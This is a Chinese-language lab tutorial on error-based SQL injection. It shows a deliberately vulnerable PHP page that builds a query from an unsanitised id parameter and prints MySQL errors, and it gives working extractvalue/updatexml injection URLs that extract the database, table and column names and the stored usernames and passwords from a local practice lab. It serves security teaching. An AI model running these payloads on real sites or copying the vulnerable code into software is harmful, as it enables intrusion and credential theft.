05-报错注入
原理分析:
SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用。
前提条件:
使用mysql_error()函数,可以返回上一个Mysql操作产生的文本错误信息。
报错注入分类:
- BIGINT等数据类型溢出
- xpath语法错误
- floor()报错
- 列名重复报错
- 参数不规范报错
打开如下:
分析代码:
<?php
if(isset($_GET['id'])){
$id=$_GET['id'];
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
}
else{
exit();
}
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
echo "</tr>";
}
echo "</table>";
}
else
{
// echo '<font color= "#FFFFFF">';
print_r(mysql_error());
// echo "</font>";
}
?>
如果执行失败会使用 mysql_error()
函数输出报错信息,可以用 extractvalue
函数或 updatexml
函数来进行注入
函数解析:
EXTRACTVALUE
函数:EXTRACTVALUE
函数用于从XML文档中提取特定节点的值。- 它的语法是:
EXTRACTVALUE(xml_document, xpath_expression)
xml_document
参数是一个XML文档或XML类型的字段,可以是一个XML字符串或存储XML数据的列。xpath_expression
参数是一个XPath表达式,用于指定要提取的节点。- 该函数返回匹配XPath表达式的节点的值。
使用XPath表示法从XML字符串中提取值
参数:xml_frag: 目标xml文档,xpath_expr: 利用Xpath路径法表示的查找路径
报错原理:Xpath格式语法书写错误的话,就会报错1
如:
如果第二个参数书写错误:
updatexml
此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target新的XML片段 new_xml ,然后返回更改的 XML。xml_target替换的部分与xpath_expr用户提供的XPath表达式匹配。
参数:xml_target:: 需要操作的xml片段,xpath_expr:需要更新的xml路径,(Xpath格式) new_xml: 更新后的内容
报错原理:当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容
如:
如果第二个参数出错:
知其原理后,进行构造注入语句:
http://localhost:8050/sqli/05.php?id=1 and extractvalue(1, concat(0x7e,(select database())))
http://localhost:8050/sqli/05.php?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
得到数据库后再进一步注入:
http://localhost:8050/sqli/05.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #全部表名
http://localhost:8050/sqli/05.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='sqli'),0x7e),1) #sqli表中的字段
http://localhost:8050/sqli/05.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(username,password) from iwebsec.sqli),0x7e),1) #username,password字段内容